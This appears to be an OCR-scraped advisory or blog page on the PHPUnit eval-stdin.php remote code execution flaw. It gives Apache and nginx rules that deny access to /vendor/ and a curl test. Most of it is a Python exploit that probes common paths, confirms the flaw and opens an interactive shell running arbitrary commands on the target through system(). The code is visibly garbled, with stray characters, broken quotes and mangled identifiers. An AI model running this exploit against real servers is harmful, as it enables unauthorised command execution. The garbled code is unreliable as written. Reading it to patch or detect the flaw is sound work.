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<firectory /path/to/your/vendor/>
Order deny,al Low
Deny from all

<jDirectory>
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location /vendor/ {
deny all;
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curl --data "<?php echo(pi());"
http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
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import requests
import argparse

phpfiles = [
"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php”,
"/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php”,
"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
"/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"

def check_vuln(site):
""*Check if the site is vulnerable"""
try:
for path in phpfiles:
full_url = site + path
response = requests.get(full_url, headers={
"Content-Type”: "text/html”,
"User-Agent”: "Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
}, data="<?php echo md5( ‘'phpunit_rce®); 7>")
if "6dd70f16549456495373a337e6708865" in response.text:
print{f"Vulnerable: {full url}")
return full_url
except requests.RequestException as e:
print{f"Error: {e}")
return False
def main():
“"*Main function to run the script"""
parser = argparse.ArgumentParser(description="Check for PHPUnit RCE vulnerability.")
parser.add_argument(~“-u*, "--url®, required=True, help="Target site URL")
args = parser.parse_args()
site = args.url
if not site.startswith(“http”):
print(“Please provide a valid URL starting with http or https.")
exit(1)
if site.endswith("/"):
site = site[:-1]
vulnerable_path = check_vuln(site)
if not vulnerable_path:
exit("Not vulnerable")
try:
while True:
cmd = input(”"> ")
—_ response = requests.get(vulnerable_path, headers={
6' "User-Agent”: "Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
“Content-Type": "text/html"”
) }, data=f'<?php system(\'{cmd}\'); ?>")
(Q print(response.text)
8 except KeyboardInterrupt:
print{ "\nExiting"”)
C except Exception as ex:
_O exit(f"Error: {ex}")
(-jD if __pame__ = "__main__":
Al main()
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» exploits

» github.com

» phpunit.de

» vulners.com

» ubuntu.com
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» nvd.nist.gov

» phpunit.vulnbusters.com
» avd.aquasec.com
» cvefeed.io

» vuldb.com
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